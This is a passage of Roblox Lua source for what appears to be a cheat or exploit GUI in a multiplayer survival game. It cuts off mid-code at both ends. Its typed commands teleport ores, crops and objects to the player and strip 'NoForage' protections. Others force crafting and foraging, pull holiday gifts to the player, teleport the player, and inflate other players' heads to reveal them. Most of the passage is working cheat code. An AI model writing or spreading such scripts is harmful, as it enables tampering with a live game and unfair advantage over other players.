- block4 = Instance.new("Part", game.Workspace["Super Station"])
- block4.Name = name4
- block4.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 1, 0)
- block5 = Instance.new("Part", game.Workspace["Super Station"])
- block5.Name = name5
- block5.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 1, 0)
- block6 = Instance.new("Part", game.Workspace["Super Station"])
- block6.Name = name6
- block6.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 1, 0)
- block7 = Instance.new("Part", game.Workspace["Super Station"])
- block7.Name = name7
- block7.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 1, 0)
- block8 = Instance.new("Part", game.Workspace["Super Station"])
- block8.Name = name8
- block8.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 1, 0)
- block9 = Instance.new("Part", game.Workspace["Super Station"])
- block9.Name = name9
- block9.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 1, 0)
- block0 = Instance.new("Part", game.Workspace["Super Station"])
- block0.Name = name0
- block0.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 1, 0)
- for i, v in pairs(game.Workspace["Super Station"]:GetChildren()) do
- if v.Name == "" then
- v:Destroy()
- end
- end
- end)
- elseif Command.Text == "iron fist" then
- fist = Instance.new("HopperBin", plr.Backpack)
- fist.Name = "Iron Fist v1.1"
- mouse.Button1Down:Connect(function()
- if fist.Active then
- mouse.Target.Parent:FindFirstChild("NoForage"):Destroy()
- game.Workspace.Storage.Forage:Clone().Parent = mouse.Target.Parent
- end
- end)
- elseif Command.Text == "bring mithril" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "MithrilDeposit" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Mithril Ore" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring water" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Water" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d:IsA("Part") then
- if d.Name == "Water" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- end
- elseif Command.Text == "bring back" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "CoalDeposit" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Coal" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Water" then
- for c, d in pairs(b:GetChildren()) do
- if d:IsA("Part") then
- if d.Name == "Water" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "IronDeposit" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Iron Ore" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "GoldDeposit" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Gold Ore" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "SulphurDeposit" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Sulphur" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "MithrilDeposit" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Mithril Ore" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Tree" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Small Tree Stump" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Tree" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Large Leaves" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Bush" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Small Bush Stump" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Bush" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Small Leaves" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Large Tree" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Large Tree Stump" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Rock Cluster" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Small Stone" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Moss" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Moss" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Mushrooms" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Mushroom" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Carrots" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Carrot" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Herb Patch" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Herb" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Onions" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Onion" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Flax Plant" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Flax Flower" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Apple Tree" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Apple" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Corn Stalk" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Corn" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Pumpkins" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Pumpkin" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "WheatPatch" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Wheat" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Prickly Pear" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Prickly Pear" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Berry Bush" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Berry" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "ChromiteDeposit" then
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Chromite Ore" then
- if d:FindFirstChild("OriginalPlace") ~= nil then
- d.Position = d.OriginalPlace.Value
- d.OriginalPlace:Destroy()
- end
- end
- end
- end
- end
- elseif Command.Text == "bring gold" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "GoldDeposit" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Gold Ore" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring coal" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "CoalDeposit" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Coal" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring chromite" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "ChromiteDeposit" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Chromite Ore" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "presents" then
- game:GetService("ReplicatedStorage").Craftables["Holiday Tree"]:Clone().Parent = game.Players.LocalPlayer.Backpack
- for i, v in pairs(game.Players.LocalPlayer.Backpack["Holiday Tree"]:GetChildren()) do
- if v:IsA("LocalScript") then
- v:Clone().Parent = game.Workspace
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- game.Workspace.LocalScript:Clone().Parent = game.Players.LocalPlayer.Backpack["Holiday Tree"]
- end
- end
- while wait(1) do
- for i, v in pairs(game.Workspace:GetChildren()) do
- if v.Name == "Holiday Tree" then
- for a, b in pairs(v:GetChildren()) do
- if b.Name == "Gift" then
- b.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
- end
- end
- end
- end
- end
- elseif Command.Text == "force forage" then
- mouse = game.Players.LocalPlayer:GetMouse()
- place = Instance.new("HopperBin", game.Players.LocalPlayer.Backpack)
- place.Name = "Force Forage"
- mouse.Button1Down:Connect(function()
- if place.Active then
- game.Workspace.CoalDeposit.Pick:Clone().Parent = mouse.Target.Parent
- end
- end)
- take = Instance.new("HopperBin", game.Players.LocalPlayer.Backpack)
- take.Name = "Undo"
- mouse.Button1Down:Connect(function()
- if take.Active then
- mouse.Target.Parent:FindFirstChild("Pick"):Destroy()
- end
- end)
- burn = Instance.new("HopperBin", game.Players.LocalPlayer.Backpack)
- burn.Name = "Flame Control"
- mouse.Button1Down:Connect(function()
- if burn.Active then
- mouse.Target.FireScript:Destroy()
- end
- end)
- elseif Command.Text == "fix loop" then
- while wait(0.3) do
- if Started then
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Really red")
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Really red")
- game.Workspace.Mother.Piece.Color = Color3.new(255, 85, 0)
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("New Yeller")
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Camo")
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Really blue")
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Dark indigo")
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Eggplant")
- TextLabel.Text = "Speed:"..game.Players.LocalPlayer.Character.Humanoid.WalkSpeed
- if game.Players.LocalPlayer.Character.Humanoid.WalkSpeed == 0 then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
- end
- else
- TextLabel.Text = "Speed:"..game.Players.LocalPlayer.Character.Humanoid.WalkSpeed
- if game.Players.LocalPlayer.Character.Humanoid.WalkSpeed == 0 then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
- end
- end
- end
- elseif Command.Text == "close" then
- Survival303GUI:Destroy()
- elseif Command.Text == "force craft" then
- warn("-----------------------------------")
- print("Hotkey 'G' to force craft.")
- print("Hotkey 'H' to undo.")
- warn("-----------------------------------")
- uis = game:GetService("UserInputService")
- mouse = game.Players.LocalPlayer:GetMouse()
- uis.InputBegan:Connect(function(pressed)
- if pressed.KeyCode == Enum.KeyCode.G then
- if mouse.Target:FindFirstChild("CanCraft") == nil then
- game:GetService("ReplicatedStorage").Structures.Stove["Stove Top"].CanCraft:Clone().Parent = mouse.Target
- end
- end
- end)
- uis.InputBegan:Connect(function(pressed)
- if pressed.KeyCode == Enum.KeyCode.H then
- if mouse.Target:FindFirstChild("CanCraft") ~= nil then
- mouse.Target.CanCraft:Destroy()
- end
- end
- end)
- elseif Command.Text == "location set" then
- LOCATION = game.Players.LocalPlayer.Character.Torso.CFrame
- elseif Command.Text == "location go" then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = LOCATION
- elseif Command.Text == "bring object" then
- brought = Instance.new("HopperBin", plr.Backpack)
- brought.Name = "Bring Object"
- mouse.Button1Down:Connect(function()
- if brought.Active then
- PlaceHolder = Instance.new("Vector3Value", mouse.Target)
- PlaceHolder.Value = mouse.Target.Position
- PlaceHolder.Name = "OriginalPlace"
- mouse.Target.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- mouse.Target.Anchored = true
- end
- end)
- thrown = Instance.new("HopperBin", plr.Backpack)
- thrown.Name = "Send Back"
- mouse.Button1Down:Connect(function()
- if thrown.Active then
- if mouse.Target:FindFirstChild("OriginalPlace") ~= nil then
- mouse.Target.Position = mouse.Target.OriginalPlace.Value
- mouse.Target.OriginalPlace:Destroy()
- end
- end
- end)
- elseif Command.Text == "bring iron" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "IronDeposit" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Iron Ore" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring sulphur" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "SulphurDeposit" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Sulphur" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "show players" then
- for i, v in pairs(game.Players:GetChildren()) do
- if v.Name ~= game.Players.LocalPlayer.Name then
- v.Character.Head.Size = v.Character.Head.Size + Vector3.new(20, 200, 20)
- end
- end
- wait(5)
- for i, v in pairs(game.Players:GetChildren()) do
- if v.Name ~= game.Players.LocalPlayer.Name then
- v.Character.Head.Size = v.Character.Head.Size - Vector3.new(20, 200, 20)
- end
- end
- elseif Command.Text == "bring farm apple" then
- for i, v in pairs(game.Workspace:GetChildren()) do
- if v.Name == "Apple" then
- if v:IsA("Model") then
- for a, b in pairs(v:GetChildren()) do
- if b.Name == "Apple" then
- b.Parent = game.Workspace.Storage
- b.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- b.Anchored = true
- end
- end
- end
- end
- end
- elseif Command.Text == "bring corn" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Corn Stalk" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Corn" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring apple" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Apple Tree" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Apple" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring small bush stump" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Bush" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Small Bush Stump" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring small leaves" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Bush" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Small Leaves" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring small tree stump" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Tree" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Small Tree Stump" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring large leaves" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Tree" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Large Leaves" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring small stone" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Rock Cluster" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Small Stone" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring large tree stump" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Large Tree" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Large Tree Stump" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring wheat" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "WheatPatch" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Wheat" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring prickly pear" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
